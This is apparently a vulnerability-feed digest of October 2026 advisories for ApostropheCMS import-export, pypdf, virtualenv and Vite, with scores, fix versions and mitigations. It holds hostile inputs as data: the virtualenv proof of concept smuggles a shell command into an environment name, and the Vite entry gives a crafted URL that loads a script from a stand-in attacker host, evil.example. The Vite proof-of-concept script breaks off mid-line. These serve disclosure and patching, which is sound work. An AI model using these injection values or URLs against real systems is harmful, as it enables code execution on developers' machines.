The overrideDuplicates() continuation still accepts client-supplied replacement choices, rather than binding them to a server-maintained, user-owned duplicate analysis. The replacement and write helpers do not establish a single canonical resource identity and authorization context before the update. This leaves the reported gap between draft editing authority and the published target selected for replacement unresolved at source level.

The original report describes a contributor crossing the publication boundary through duplicate replacement on an import-enabled localized type. We have not repeated that end-to-end sequence on 3.7.0.

Suggested remediation: bind continuation state to the initiating user, archive, job, permitted source/target mapping, locale and mode; reject inconsistent identity metadata; derive permissions from the actual loaded target and require publication authority for published targets.

Source: overrideDuplicates(), replaceDocId(), and insertOrUpdateDoc() in the [importer](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/import-export/lib/methods/import.js).

## Coordination

Vivek R / Winfunc
Original reporting team: Mufeed VH / Winfunc

Affected package ranges reported by GitHub:
@apostrophecms/import-export: < 3.7.1
Action: GitHub lists first patched versions: @apostrophecms/import-export: 3.7.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Import archives can exhaust server storage and deny service
https://kevwire.com/record/CVE-2026-112955
ApostropheCMS: Import archives can exhaust server storage and deny service (Oct 21, 2026).
Package: @apostrophecms/import-export, version 3.7.0.

Release tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026).
CVSS 6.5 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-9g7p-m758-rp72).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112955&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-9g7p-m758-rp72: https://github.com/advisories/GHSA-9g7p-m758-rp72
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112955&date=2026-10-25
## Review scope and evidence limits

Package: @apostrophecms/import-export, version 3.7.0.

Release tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026).

Current main reviewed: 5ce3732be0ebdebb4db0f8ef160c81e8671157e6.

The importer, gzip extractor, import permission gate, and core permission implementation have no differences between that release tag and the reviewed main. This follow-up is a static remediation review. We have not repeated the original end-to-end reproductions against the latest release or tested a deployed site. Current exploitability and impact therefore still require maintainer validation; the observations below establish that the reported security checks remain absent in public source. The original emailed PDF contains the original reproduction material. Please refer to that existing private attachment.

## Import archive extraction lacks resource quotas and failure cleanup

The current gzip extractor handles destination write errors and waits for write completion; those parts of the original report should no longer be treated as unchanged. The import routes also now require a logged-in user before big-upload processing, as covered by GHSA-86wm-68pq-5jwq.

However, extract() still writes expanded archive entries without per-entry, aggregate decompressed-byte, or entry-count quotas. Archive parsing still precedes document-type authorization. If extraction or parsing fails, import() notifies and rethrows before the later storage.remove() call, with no unconditional cleanup around that lifecycle. The reported residual risk is excessive storage consumption and retained extraction/staging artifacts from authenticated imports. Handling a write error and requiring login do not enforce a storage budget.

Suggested remediation: add configurable streaming quotas based on actual decompressed bytes, cap entries and allowed entry types, bound concurrent imports, and clean local and uploadfs artifacts on every failure. Retain continuation artifacts only under explicit ownership, expiry and total-storage limits.

Source references:
- [Gzip extractor](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/import-export/lib/formats/gzip.js)
- [Import lifecycle and cleanup](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/import-export/lib/methods/import.js)
- [Related authentication fix](https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-86wm-68pq-5jwq)

## Coordination

Vivek R / Winfunc
Original reporting team: Mufeed VH / Winfunc

Affected package ranges reported by GitHub:
@apostrophecms/import-export: < 3.7.1
Action: GitHub lists first patched versions: @apostrophecms/import-export: 3.7.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pypdf: Possible infinite loop in PdfWriter.find_outline_item
https://kevwire.com/record/CVE-2026-113792
pypdf: Possible infinite loop in PdfWriter.find_outline_item (Oct 21, 2026).
An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires calling `find_outline_item` on a `PdfWriter`.

This has been fixed in [pypdf==6.20.1](https://github.com/py-pdf/pypdf/releases/tag/6.20.1).
CVSS 6.0 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-qfv9-64jg-mh7p).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113792&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-qfv9-64jg-mh7p: https://github.com/advisories/GHSA-qfv9-64jg-mh7p
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113792&date=2026-10-25
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires calling `find_outline_item` on a `PdfWriter`.

### Patches

This has been fixed in [pypdf==6.20.1](https://github.com/py-pdf/pypdf/releases/tag/6.20.1).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#4188](https://github.com/py-pdf/pypdf/pull/4188).

Affected package ranges reported by GitHub:
pypdf: < 6.20.1
Action: GitHub lists first patched versions: pypdf: 6.20.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pypdf: Possible infinite loop when removing tree items
https://kevwire.com/record/CVE-2026-113793
pypdf: Possible infinite loop when removing tree items (Oct 21, 2026).
An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires removing an object from a tree, for example an outline item.

This has been fixed in [pypdf==6.20.1](https://github.com/py-pdf/pypdf/releases/tag/6.20.1).
CVSS 6.0 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-9mx8-4j7g-633p).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113793&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-9mx8-4j7g-633p: https://github.com/advisories/GHSA-9mx8-4j7g-633p
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113793&date=2026-10-25
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires removing an object from a tree, for example an outline item.

### Patches

This has been fixed in [pypdf==6.20.1](https://github.com/py-pdf/pypdf/releases/tag/6.20.1).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#4188](https://github.com/py-pdf/pypdf/pull/4188).

Affected package ranges reported by GitHub:
pypdf: < 6.20.1
Action: GitHub lists first patched versions: pypdf: 6.20.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pypdf: Possible infinite loop when hitting EOF in standard xref table
https://kevwire.com/record/CVE-2026-113794
pypdf: Possible infinite loop when hitting EOF in standard xref table (Oct 21, 2026).
An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires an incomplete file which ends inside the xref table.

This has been fixed in [pypdf==6.20.0](https://github.com/py-pdf/pypdf/releases/tag/6.20.0).
CVSS 6.0 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-39mj-jf6j-2qj3).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113794&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-39mj-jf6j-2qj3: https://github.com/advisories/GHSA-39mj-jf6j-2qj3
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113794&date=2026-10-25
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires an incomplete file which ends inside the xref table.

### Patches

This has been fixed in [pypdf==6.20.0](https://github.com/py-pdf/pypdf/releases/tag/6.20.0).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#4170](https://github.com/py-pdf/pypdf/pull/4170).

### Notes

This has been reported through both the secure channel and as a public issue at [#4169](https://github.com/py-pdf/pypdf/issues/4169).

Affected package ranges reported by GitHub:
pypdf: < 6.20.0
Action: GitHub lists first patched versions: pypdf: 6.20.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv bash activate runs commands from an environment name with a backslash before $
https://kevwire.com/record/CVE-2026-113725
virtualenv bash activate runs commands from an environment name with a backslash before $ (Oct 21, 2026).
The bash `activate` script escapes the environment name for only one of the two passes bash makes over `PS1`, so a
backslash in the name undoes the escaping and a name containing `\$(...)` runs as commands in the user's shell each
time bash draws the prompt.

`src/virtualenv/activation/bash/activate.sh`, the block that prepends the environment name to `PS1`.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113725).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113725&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-vxj4-q4g9-crj7: https://github.com/advisories/GHSA-vxj4-q4g9-crj7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-113725: https://nvd.nist.gov/vuln/detail/CVE-2026-113725
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113725&date=2026-10-25
### Summary

The bash `activate` script escapes the environment name for only one of the two passes bash makes over `PS1`, so a
backslash in the name undoes the escaping and a name containing `\$(...)` runs as commands in the user's shell each
time bash draws the prompt.

### Affected area

`src/virtualenv/activation/bash/activate.sh`, the block that prepends the environment name to `PS1`.

### Attacker-controlled input

The environment name: the environment directory's name, or the `--prompt` or `VIRTUALENV_PROMPT` value. An attacker
needs to influence it, for example through a CI job or wrapper tool that passes a branch, project or job name through,
or a directory in a cloned repository or unpacked archive. `--prompt .` takes the current directory's name.

### Details

bash handles `PS1` in two passes each time it draws the prompt: it first decodes backslash prompt escapes, turning `\\`
into `\` and `\$` into `$` (or `#` for root), and then runs parameter expansion, command substitution and arithmetic
expansion on the result. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in the name, but only
for the second pass, so the decode pass strips the escaping that a backslash in the name precedes. Releases before
21.13.0 do not escape the name at all. A bash running as root decodes `\$` to `#`, so the payload shows the wrong text
there but runs nothing. zsh does no decode pass and is not affected.

### Proof of concept

```console
$ virtualenv --prompt 'a\$(touch PWNED)' env
$ bash --norc --noprofile -c 'source env/bin/activate; printf "%s" "${PS1@P}"'
$ ls PWNED
PWNED
```

### Impact

Arbitrary command execution in the shell of a user who sources the `activate` script of an environment whose name an
attacker influenced, with that user's privileges, once per prompt draw.

### Versions tested

21.14.6 with bash 5.2.15 on Debian bookworm, as an unprivileged user and as root.

### Known mitigation

Set `VIRTUAL_ENV_DISABLE_PROMPT=1` before you source `activate`, which leaves `PS1` alone, or run `shopt -u promptvars`
if your prompt does not need expansion. Check the name of an environment you did not create before you source its
`activate`.

### Latest release

- [x] The problem reproduces on the latest virtualenv release.

21.14.6

### Patches

Fixed in 21.14.7. Under bash, `activate` now escapes backslashes, dollar signs and backticks for both passes, so the
example above runs nothing and the prompt shows the name as given. zsh keeps the single escaping it needs.
Fix: https://github.com/pypa/virtualenv/commit/c3104e02474b652832a9bbaae79f6e1696296932

### Credits

Found while running the virtualenv test suite as root inside the Anthropic OSS Scanner build image.

Affected package ranges reported by GitHub:
virtualenv: <= 21.14.6
Action: GitHub lists first patched versions: virtualenv: 21.14.7. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pypdf: Possible large memory usage for streams with multiple filters
https://kevwire.com/record/CVE-2026-113795
pypdf: Possible large memory usage for streams with multiple filters (Oct 21, 2026).
An attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires accessing any stream with a large amount of filters or multiple filters which pass around large amounts of data.

This has been fixed in [pypdf==6.20.0](https://github.com/py-pdf/pypdf/releases/tag/6.20.0).
CVSS 6.0 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-7mh2-4gg2-979f).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113795&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-7mh2-4gg2-979f: https://github.com/advisories/GHSA-7mh2-4gg2-979f
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113795&date=2026-10-25
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires accessing any stream with a large amount of filters or multiple filters which pass around large amounts of data.

### Patches

This has been fixed in [pypdf==6.20.0](https://github.com/py-pdf/pypdf/releases/tag/6.20.0).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#4173](https://github.com/py-pdf/pypdf/pull/4173).

Affected package ranges reported by GitHub:
pypdf: < 6.20.0
Action: GitHub lists first patched versions: pypdf: 6.20.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vite: Cross origin script execution through Vite custom middleware
https://kevwire.com/record/CVE-2026-112945
Vite: Cross origin script execution through Vite custom middleware (Oct 21, 2026).
When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Only apps that match the following conditions are affected:
CVSS 2.1 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-9jrq-w75r-8gcw).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112945&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-9jrq-w75r-8gcw: https://github.com/advisories/GHSA-9jrq-w75r-8gcw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112945&date=2026-10-25
### Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

### Impact

Only apps that match the following conditions are affected:

- the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this.
- the transformed HTML contains an inline module script
- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

### Details

[Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

```js
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)
```

For a development server at `http://localhost:5173`, an attacker can send this URL:

```text
http://localhost:5173//evil.example/payload.js?/../../package.json
```

In Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text.

Chromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`.

[The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`:

```html

```

The generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

### PoC

```js
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
